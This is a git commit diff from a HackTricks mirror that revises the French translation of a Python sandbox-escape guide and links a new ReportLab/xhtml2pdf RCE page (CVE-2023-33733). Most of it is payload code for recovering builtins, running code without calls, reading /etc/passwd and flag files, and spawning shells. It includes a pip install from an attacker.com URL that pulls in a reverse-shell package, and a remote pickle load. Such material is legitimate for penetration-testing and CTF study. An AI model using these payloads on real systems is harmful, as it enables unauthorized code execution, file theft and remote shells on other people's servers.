mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
5fe29531b1
commit
bd78aff4e1
@ -70,6 +70,7 @@
|
||||
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
|
||||
Voici quelques astuces pour bypass les protections du python sandbox et exécuter des commandes arbitraires.
|
||||
|
||||
## Bibliothèques d'exécution de commandes
|
||||
## Command Execution Libraries
|
||||
|
||||
La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pourriez importer l'une de ces bibliothèques :
|
||||
La première chose à savoir est si vous pouvez exécuter du code directement avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Rappelez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du sandbox python et pour **écrire du code** que vous pourriez **exécuter** pour **contourner** le sandbox.
|
||||
Remember that the _**open**_ and _**read** functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
> [!CAUTION] > La fonction **input()** de **Python2** permet d'exécuter du code python avant que le programme ne plante.
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
|
||||
Python essaie de **charger les bibliothèques du répertoire courant en premier** (la commande suivante affichera d'où python charge les modules) : `python3 -c 'import sys; print(sys.path)'`
|
||||
Python essaie de **charger les bibliothèques depuis le répertoire courant en premier** (la commande suivante affichera d'où Python charge les modules): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Contourner le sandbox pickle avec les packages python installés par défaut
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Packages par défaut
|
||||
|
||||
Vous pouvez trouver une **liste des packages pré-installés** ici : [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Notez qu'à partir d'un pickle, vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées sur le système.\
|
||||
Par exemple, le pickle suivant, une fois chargé, va importer la bibliothèque pip pour l'utiliser :
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Notez que depuis un pickle vous pouvez amener l'environnement python à **import arbitrary libraries** installées dans le système.\
|
||||
Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -68,30 +68,30 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Paquet Pip
|
||||
### Pip package
|
||||
|
||||
Astuce partagée par **@isHaacK**
|
||||
|
||||
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un paquet arbitraire et obtenir un shell inversé en appelant :
|
||||
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir une reverse shell en appelant :
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Vous pouvez télécharger le package pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py` et mettre votre IP pour le reverse shell** :
|
||||
Vous pouvez télécharger le package pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser vous devez **le décompresser, modifier le `setup.py`, et mettre votre IP pour le reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu pour que lorsque vous quittez le reverse shell, le reste de l'installation échoue, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.
|
||||
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez le reverse shell le reste de l'installation échouera, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.
|
||||
|
||||
## Évaluation du code python
|
||||
## Eval du code python
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que exec permet des chaînes multilignes et ";", mais eval ne le permet pas (vérifiez l'opérateur morse)
|
||||
> Notez que `exec` permet les chaînes multilignes et ";", mais `eval` ne le permet pas (vérifiez walrus operator)
|
||||
|
||||
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hex/octal/B64** pour **contourner** la restriction :
|
||||
Si certains caractères sont interdits vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Opérateurs et astuces courtes
|
||||
Voir aussi une évasion réelle d'un évaluateur sandboxé dans des générateurs PDF :
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Il abuse de rl_safe_eval pour accéder à function.__globals__ et os.system depuis des attributs évalués (par exemple, couleur de police) et renvoie une valeur valide pour maintenir le rendu stable.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Opérateurs et astuces rapides
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Contournement des protections par encodages (UTF-7)
|
||||
## Contournement des protections via des encodages (UTF-7)
|
||||
|
||||
Dans [**ce rapport**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un apparent sandbox :
|
||||
Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent :
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -148,11 +156,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Il est également possible de le contourner en utilisant d'autres encodages, par exemple `raw_unicode_escape` et `unicode_escape`.
|
||||
Il est également possible de le contourner en utilisant d'autres encodages, par ex. `raw_unicode_escape` et `unicode_escape`.
|
||||
|
||||
## Exécution Python sans appels
|
||||
|
||||
Si vous êtes dans une prison python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes arbitraires**.
|
||||
Si vous êtes dans un python jail qui **ne vous permet pas d'effectuer des appels**, il existe encore plusieurs moyens de **exécuter des fonctions arbitraires, du code** et des **commandes**.
|
||||
|
||||
### RCE avec [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -176,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE création d'objets et surcharge
|
||||
### RCE : création d'objets et surcharge
|
||||
|
||||
Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pourriez **écrire/surcharger différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
|
||||
Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pouvez **écrire ou remplacer différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
|
||||
|
||||
#### RCE avec des classes personnalisées
|
||||
|
||||
Vous pouvez modifier certaines **méthodes de classe** (_en surchargeant des méthodes de classe existantes ou en créant une nouvelle classe_) pour les faire **exécuter du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
|
||||
Vous pouvez modifier certaines **méthodes de classe** (_en remplaçant des méthodes de classe existantes ou en créant une nouvelle classe_) afin qu'elles **exécutent du code arbitraire** lorsqu'elles sont **déclenchées** sans être appelées directement.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Créer des objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Création d'objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La chose clé que les metaclasses nous permettent de faire est **de créer une instance d'une classe, sans appeler le constructeur** directement, en créant une nouvelle classe avec la classe cible comme metaclass.
|
||||
La principale chose que les métaclasses nous permettent de faire est **de créer une instance d'une classe sans appeler le constructeur** directement, en créant une nouvelle classe ayant la classe cible comme métaclasse.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -251,7 +259,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### Création d'objets avec des exceptions
|
||||
|
||||
Lorsque **une exception est déclenchée**, un objet de **l'Exception** est **créé** sans que vous ayez besoin d'appeler le constructeur directement (un truc de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Lorsqu'une **exception est déclenchée** un objet de la **Exception** est **créé** sans que vous ayez besoin d'appeler le constructeur directement (un truc de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -293,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Lire le fichier avec l'aide et la licence des builtins
|
||||
### Lire le fichier avec l'aide de builtins & licence
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -304,20 +312,20 @@ pass
|
||||
```
|
||||
## Builtins
|
||||
|
||||
- [**Fonctions intégrées de python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Fonctions intégrées de python3**](https://docs.python.org/3/library/functions.html)
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Si vous pouvez accéder à l'objet **`__builtins__`**, vous pouvez importer des bibliothèques (notez que vous pourriez également utiliser ici une autre représentation de chaîne montrée dans la dernière section) :
|
||||
Si vous pouvez accéder à l'objet **`__builtins__`**, vous pouvez importer des bibliothèques (notez que vous pouvez également utiliser ici d'autres représentations de chaîne montrées dans la dernière section) :
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Pas de Builtins
|
||||
|
||||
Lorsque vous n'avez pas `__builtins__`, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut, python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux **importent également des** fonctionnalités **dangereuses** à l'intérieur qui peuvent être accessibles pour obtenir même **une exécution de code arbitraire**.
|
||||
Lorsque vous n'avez pas `__builtins__` vous ne pourrez rien importer ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein qui peuvent être exploitées pour obtenir une **exécution de code arbitraire**.
|
||||
|
||||
Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur d'eux.
|
||||
Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules «**bénins**» chargés pour **accéder** aux **fonctionnalités** **dangereuses** qu'ils contiennent.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Ci-dessous, il y a une plus grande fonction**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **builtins**.
|
||||
[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **endroits** où vous pouvez trouver les **builtins**.
|
||||
|
||||
#### Python2 et Python3
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Payloads intégrés
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals et locaux
|
||||
## Globals and locals
|
||||
|
||||
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir ce à quoi vous pouvez accéder.
|
||||
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous pouvez accéder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Ci-dessous, il y a une plus grande fonction**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **endroits** où vous pouvez trouver les **globals**.
|
||||
|
||||
## Découvrir l'exécution arbitraire
|
||||
|
||||
Ici, je veux expliquer comment découvrir facilement des **fonctionnalités plus dangereuses chargées** et proposer des exploits plus fiables.
|
||||
Ici je veux expliquer comment découvrir facilement **plus de fonctionnalités dangereuses chargées** et proposer des exploits plus fiables.
|
||||
|
||||
#### Accéder aux sous-classes avec des contournements
|
||||
#### Accéder aux subclasses avec des bypasses
|
||||
|
||||
L'une des parties les plus sensibles de cette technique est de pouvoir **accéder aux sous-classes de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres moyens possibles** :
|
||||
L'un des aspects les plus sensibles de cette technique est de pouvoir **accéder aux subclasses de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres moyens possibles**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Trouver des bibliothèques dangereuses chargées
|
||||
### Trouver les bibliothèques dangereuses chargées
|
||||
|
||||
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys à l'intérieur d'eux** :
|
||||
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **import arbitrary libraries**, vous pouvez rechercher tous les **modules chargés qui ont importé `sys` en leur sein** :
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Il y en a beaucoup, et **nous n'avons besoin que d'un seul** pour exécuter des commandes :
|
||||
Il y en a beaucoup, et **il nous suffit d'un seul** pour exécuter des commandes :
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir être utilisées pour **exécuter des commandes** :
|
||||
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir utiliser pour **exécuter des commandes**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -483,7 +491,7 @@ Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savo
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes :
|
||||
De plus, nous pourrions même rechercher quels modules chargent des bibliothèques malveillantes:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
De plus, si vous pensez que **d'autres bibliothèques** peuvent **invoquer des fonctions pour exécuter des commandes**, nous pouvons également **filtrer par noms de fonctions** à l'intérieur des bibliothèques possibles :
|
||||
De plus, si vous pensez que **other libraries** pourraient être en mesure de **invoke functions to execute commands**, nous pouvons aussi **filter by functions names** au sein des bibliothèques possibles :
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -535,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, 